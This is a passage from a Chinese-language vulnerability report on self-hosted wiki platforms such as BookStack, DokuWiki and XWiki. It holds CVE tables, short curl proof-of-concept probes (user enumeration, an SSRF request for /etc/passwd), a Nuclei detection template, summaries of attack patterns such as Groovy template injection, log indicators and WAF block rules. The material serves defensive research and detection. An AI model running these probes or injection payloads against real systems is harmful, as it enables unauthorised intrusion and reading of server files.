  -H "Cookie: <session_cookie>"

0x05.3 DokuWiki 其他高危漏洞

CVE类型CVSS说明
CVE-2024-42758存储型 XSS5.4indexmenu 插件存储型 XSS
CVE-2023-34408存储型 XSS5.4RSS 标题中的 XSS
CVE-2018-15474CSV 注入9.6用户管理 CSV 导出中的公式注入
CVE-2019-25338用户名枚举6.9密码重置功能用户名枚举

0x06 BookStack / 其他平台漏洞

0x06.1 BookStack CVE-2024-36676 — 访问控制缺陷

漏洞背景

CVE-2024-36676 是 BookStack 中的访问控制缺陷。攻击者可以通过公共表单确认系统中是否存在特定用户(用户枚举),并利用通知邮件功能执行定向拒绝服务攻击。

受影响版本 / 修复版本

项目版本
受影响版本< 24.05.1
修复版本24.05.1
CVSS 评分8.8(CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H)

HTTP PoC

# 用户枚举测试
curl -X POST "http://<target>/password_reset" \
  -d "email=known_user@company.com" \
  -w "\n%{http_code}"

# 对比不存在的用户
curl -X POST "http://<target>/password_reset" \
  -d "email=nonexistent_user_12345@company.com" \
  -w "\n%{http_code}"

Nuclei YAML 检测模板

id: CVE-2024-36676
info:
  name: BookStack Access Control User Enumeration
  author: security-researcher
  severity: high
  description: BookStack allows user enumeration via public forms
  reference:
    - https://github.com/BookStackApp/BookStack/issues/4993
  classification:
    cvss-score: 8.8
    cwe-id: CWE-284
  tags: cve,bookstack,idor

http:
  - method: POST
    path:
      - "{{BaseURL}}/password_reset"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "email=test_nonexistent_user_xyz@invalid.test"
    matchers:
      - type: word
        words:
          - "password"
          - "reset"
        condition: or
        part: body

0x06.2 BookStack CVE-2023-6199 — SSRF 本地文件读取

漏洞背景

CVE-2023-6199 是 BookStack 中的 SSRF 漏洞,允许过滤和读取服务器本地文件。

受影响版本 / 修复版本

项目版本
受影响版本< 23.10.3
修复版本23.10.3
CVSS 评分6.5

HTTP PoC

curl "http://<target>/api/images?filter[folder]=/etc/passwd"

0x06.3 BookStack 历史高危漏洞

CVE类型CVSS说明
CVE-2021-4119访问控制绕过9.8严重的访问控制缺陷
CVE-2022-40690存储型 XSS5.4认证用户注入脚本
CVE-2021-3916路径遍历6.5目录遍历
CVE-2021-3915文件上传5.7不受限制的危险文件类型上传

0x07 公开 PoC 收集情况与利用思路

PoC 收集情况总表

CVEPoC 仓库 / 来源可用性工具
CVE-2025-24893VulnCheckGitHub Exploit、Nuclei Template在野利用中Nuclei / Python / curl
CVE-2024-31982Vicarius公开 PoCPython / curl
CVE-2022-1681GitHub Advisory公开 PoCGraphQL / curl
CVE-2017-18123GitHub Issue #2029公开 PoCcurl
CVE-2021-29475GitHub Advisory公开 PoCcurl / Python
CVE-2024-36676GitHub Issue #4993公开 PoCcurl / Python
Nuclei Templatesprojectdiscovery/nuclei-templates持续更新Nuclei

关键 PoC 仓库链接

防守型验证思路

  1. 资产发现:使用 Shodan/Censys 搜索特定平台的暴露实例
  2. 版本探测:通过 /xwiki/bin/view/Main/WebHome/wiki/Main_Page/login 等端点识别平台类型和版本
  3. 漏洞验证:使用无害探测载荷(如 println('test'))确认漏洞存在性
  4. 批量扫描:使用 Nuclei 配合对应模板进行批量检测

0x08 共性攻击模式分析

模式 1:模板引擎注入(SSTI / Groovy RCE)

代表 CVE:CVE-2025-24893、CVE-2024-31982、CVE-2023-29509

这是自托管知识管理平台中最严重的攻击模式。XWiki 的 Groovy/Velocity 脚本引擎、HedgeDoc 的 Markdown 渲染器、MediaWiki 的 ParserFunction 都可能成为注入点。核心问题是用户可控输入被传递到模板/脚本求值上下文

攻击特征:

  • 无需认证(大部分情况)
  • 载荷通常包含 {{groovy}}{{velocity}}println 等关键字
  • 可实现完全的服务器端代码执行
  • 已被 RondoDox 等僵尸网络大规模在野利用

模式 2:认证/授权缺陷

代表 CVE:CVE-2022-1681、CVE-2024-36676、CVE-2025-23025

自托管平台通常面临更复杂的认证配置需求(LDAP、OAuth2、SAML),这增加了实现错误的可能性。Wiki.js 的认证绕过允许获取 root 权限,BookStack 的访问控制缺陷允许用户枚举,XWiki 的实时编辑器允许低权限用户借助高权限用户执行代码。

模式 3:文件操作滥用

代表 CVE:CVE-2021-29475、CVE-2021-29474、CVE-2017-18123、CVE-2020-15236

文件路径处理不当是自托管平台的共性问题。HedgeDoc 的 PDF 导出利用 file:/// 协议读取任意文件,路径遍历漏洞出现在 HedgeDoc、Wiki.js 等多个平台中,DokuWiki 的 RFD 漏洞利用 HTTP 响应中的控制字符实现文件下载攻击。

模式 4:XSS 与客户端攻击

代表 CVE:CVE-2024-40603、CVE-2023-34408、CVE-2024-42758

作为内容协作平台,用户生成内容的渲染是核心功能,也是 XSS 的天然温床。MediaWiki 的扩展生态尤为严重,2025 年单年就披露了超过 10 个 XSS 漏洞。DokuWiki 的存储型 XSS 由于其纯文件存储特性,恶意内容会持久化在 .txt 文件中。

模式 5:XML/Markdown 解析漏洞

代表 CVE:CVE-2021-21383(Wiki.js Mustache 注入)、CVE-2025-67480(MediaWiki API 解析)

Wiki.js 使用 Vue.js 渲染 Mustache 表达式,即使在 <pre> 标签内也会被解析执行。MediaWiki 的 API 查询解析器在处理特定参数时存在输入验证缺陷。Markdown 解析器的扩展语法(如 HedgeDoc 的短代码 [time=...])也可能是注入向量。


0x09 应急排查与防守建议

紧急排查清单

检查项命令 / 方法严重性
XWiki SolrSearch RCE访问 /xwiki/bin/get/Main/SolrSearch?media=rss&text=test 检查响应严重
XWiki DatabaseSearch RCE访问 /xwiki/bin/get/Main/DatabaseSearch?text=test 检查响应严重
XWiki 版本检查访问 /xwiki/bin/view/Main/WebHome 查看页脚版本号
HedgeDoc 版本检查访问 /api/config 或查看 package.json
Wiki.js 认证测试/graphql 端点执行 authentication mutation
DokuWiki RFD访问 /lib/exe/ajax.php?call=test 检查响应
BookStack 用户枚举/password_reset 发送已知和未知邮箱对比响应

日志关键字段表

日志类型关键字段异常特征
Apache/Nginx access.logrequest_uri, query_stringSolrSearch?text=, DatabaseSearch?text=
XWiki 日志Groovy execution异常的 ProcessBuilderRuntime.exec 调用
HedgeDoc 日志PDF export requests异常的 file:/// 引用
Wiki.js 日志GraphQL queries未授权的 authentication mutation
系统日志/var/log/syslog异常进程创建(wgetcurl 下载到 /tmp

紧急缓解措施

  1. 立即升级:将所有平台升级至最新稳定版本
  2. 禁用匿名访问:关闭 XWiki、MediaWiki 等平台的匿名/访客访问权限
  3. WAF 规则
    • 拦截包含 {{groovy}}{{velocity}} 的请求
    • 拦截包含 ProcessBuilderRuntime.exec 的参数
    • 拦截 /bin/get/Main/SolrSearch/bin/get/Main/DatabaseSearch 的异常参数
  4. 网络隔离:将知识管理平台置于内网或 VPN 之后,限制公网暴露面
  5. 备份验证:确认所有平台数据备份完整且可恢复

长期安全加固建议

  1. 补丁管理:建立定期(至少每月)的安全更新机制,重点关注 CVE 和安全通告
  2. 最小权限原则:为平台用户分配最低必要权限,禁用不必要的脚本执行权限
  3. 内容安全策略(CSP):部署严格的 CSP 头部,限制可执行脚本来源
  4. 输入验证:对所有用户输入实施白名单验证和输出编码
  5. 文件上传控制:限制可上传的文件类型,禁止 SVG 等可执行文件类型
  6. 监控告警:部署 SIEM 规则监控异常模板注入、文件读取和权限提升行为
  7. 定期渗透测试:至少每季度对自托管平台进行安全评估

0x0A 参考资料

  1. XWiki Security Policy - https://dev.xwiki.org/xwiki/bin/view/Community/SecurityPolicy/
  2. CVE-2025-24893 GitHub Advisory - https://github.com/advisories/GHSA-rr6p-3pfg-562j
  3. VulnCheck: XWiki CVE-2025-24893 Exploited in the Wild - https://www.vulncheck.com/blog/xwiki-cve-2025-24893-eitw
  4. CISA KEV Catalog - https://www.cisa.gov/known-exploited-vulnerabilities-catalog
  5. HedgeDoc Security Advisories - https://github.com/hedgedoc/hedgedoc/security/advisories
  6. Wiki.js Security Advisories - https://github.com/Requarks/wiki/security/advisories
  7. DokuWiki CVE-2017-18123 Issue - https://github.com/dokuwiki/dokuwiki/issues/2029
  8. BookStack CVE-2024-36676 - https://github.com/BookStackApp/BookStack/issues/4993
  9. Nuclei Templates Collection - https://github.com/projectdiscovery/nuclei-templates
  10. XWiki Critical Vulnerabilities Complete Analysis - https://blog.securelayer7.net/xwiki-critical-vulnerabilities/
  11. RondoDox Botnet XWiki Exploitation - https://thehackernews.com/2025/11/rondodox-exploits-unpatched-xwiki.html
  12. NVD - National Vulnerability Database - https://nvd.nist.gov/

免责声明:本文仅用于安全研究和授权渗透测试目的。文中提供的 PoC 代码和检测脚本仅供安全专业人员在获得明确授权的环境中使用。未经授权对计算机系统进行测试是违法行为。作者不对任何因使用本文信息而导致的损失或损害承担责任。请遵守当地法律法规,仅在获得合法授权的情况下进行安全测试。